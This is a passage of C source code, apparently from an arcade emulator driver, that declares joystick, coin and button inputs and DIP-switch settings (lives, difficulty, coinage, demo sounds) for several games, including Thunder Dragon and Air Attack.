0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0020, DEF_STR( On ) ) PORT_DIPNAME( 0x00C0, 0x00C0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x0000, "2" ) PORT_DIPSETTING( 0x00C0, "3" ) PORT_DIPSETTING( 0x0080, "4" ) PORT_DIPSETTING( 0x0040, "5" ) PORT_START("DSW2") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x001C, 0x001C, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") PORT_DIPSETTING( 0x0000, DEF_STR( 5C_1C ) ) PORT_DIPSETTING( 0x0010, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0008, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0018, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x001C, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x000C, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0014, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0004, DEF_STR( 1C_4C ) ) PORT_DIPNAME( 0x00E0, 0x00E0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x0000, DEF_STR( 5C_1C ) ) PORT_DIPSETTING( 0x0080, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0040, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x00C0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00E0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0060, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x00A0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0020, DEF_STR( 1C_4C ) ) INPUT_PORTS_END static INPUT_PORTS_START( tdragon_prot ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // TEST in service mode PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:7") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x000c, 0x000c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0004, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x000c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0008, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:4") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:3") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0040, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0080, "4" ) PORT_START("DSW2") PORT_DIPNAME( 0x0007, 0x0007, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:1,2,3") PORT_DIPSETTING( 0x0004, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0005, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0006, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x0007, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0003, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0002, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0001, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x0038, 0x0038, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:4,5,6") PORT_DIPSETTING( 0x0020, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0028, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0030, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x0038, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0018, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0010, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0008, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x0040, 0x0040, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") // The MCU (undumped/unemulated) takes care of this PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0040, DEF_STR( On ) ) PORT_DIPNAME( 0x0080, 0x0080, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0080, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) INPUT_PORTS_END static INPUT_PORTS_START( tdragon ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // TEST in service mode PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:7") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x000c, 0x000c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0004, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x000c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0008, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:4") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:3") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0040, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0080, "4" ) PORT_START("DSW2") // reverse bit order compared to tdragon_prot? PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0001, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0002, DEF_STR( On ) ) PORT_DIPNAME( 0x001c, 0x001c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:4,5,6") PORT_DIPSETTING( 0x0010, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0008, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0018, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x001c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x000c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0014, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0004, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x00e0, 0x00e0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:1,2,3") PORT_DIPSETTING( 0x0080, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0040, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x00c0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00e0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0060, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x00a0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0020, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( tdragonb ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) // TEST in service mode PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0003, 0x0003, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:1,2") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0002, "2" ) PORT_DIPSETTING( 0x0003, "3" ) PORT_DIPSETTING( 0x0001, "4" ) PORT_DIPNAME( 0x0004, 0x0004, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:3") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0004, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0008, 0x0008, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:4") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0008, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0030, 0x0030, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:5,6") PORT_DIPSETTING( 0x0020, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0030, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0010, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x0040, 0x0040, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:7") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0040, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0080, 0x0080, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0080, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_START("DSW2") PORT_DIPNAME( 0x0007, 0x0007, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:1,2,3") PORT_DIPSETTING( 0x0004, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0005, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0006, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x0007, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0003, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0002, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0001, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x0038, 0x0038, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:4,5,6") PORT_DIPSETTING( 0x0020, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0028, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0030, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x0038, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0018, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0010, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0008, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x0040, 0x0040, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0040, DEF_STR( On ) ) PORT_DIPNAME( 0x0080, 0x0080, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") // The manual states this dip is "Unused" PORT_DIPSETTING( 0x0080, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_START("COIN") // referenced by Seibu sound board PORT_BIT( 0xff, IP_ACTIVE_LOW, IPT_UNKNOWN ) INPUT_PORTS_END static INPUT_PORTS_START( ssmissin ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_UNKNOWN ) // "Servise" in "test mode" PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) // "Fire" PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) // "Bomb" PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) // "Fire" PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) // "Bomb" PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x000c, 0x000c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0004, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x000c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0008, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0040, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0080, "4" ) PORT_DIPNAME( 0x0100, 0x0100, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0100, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0200, 0x0200, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0200, DEF_STR( On ) ) #if 0 PORT_DIPNAME( 0x1c00, 0x1c00, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:6,5,4") // initialised but not read back PORT_DIPSETTING( 0x0400, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x1400, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0c00, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x1c00, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x1800, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0800, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x1000, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) #else PORT_DIPNAME( 0x0400, 0x0400, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:6") PORT_DIPSETTING( 0x0400, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0800, 0x0800, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:5") PORT_DIPSETTING( 0x0800, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x1000, 0x1000, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:4") PORT_DIPSETTING( 0x1000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) #endif PORT_DIPNAME( 0xe000, 0xe000, DEF_STR( Coinage ) ) PORT_DIPLOCATION("SW2:3,2,1") PORT_DIPSETTING( 0x2000, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0xa000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x6000, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0xe000, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0xc000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x4000, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x8000, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( airattck ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_UNKNOWN ) // "Servise" in "test mode" PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) // "Fire" PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) // "Bomb" PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, 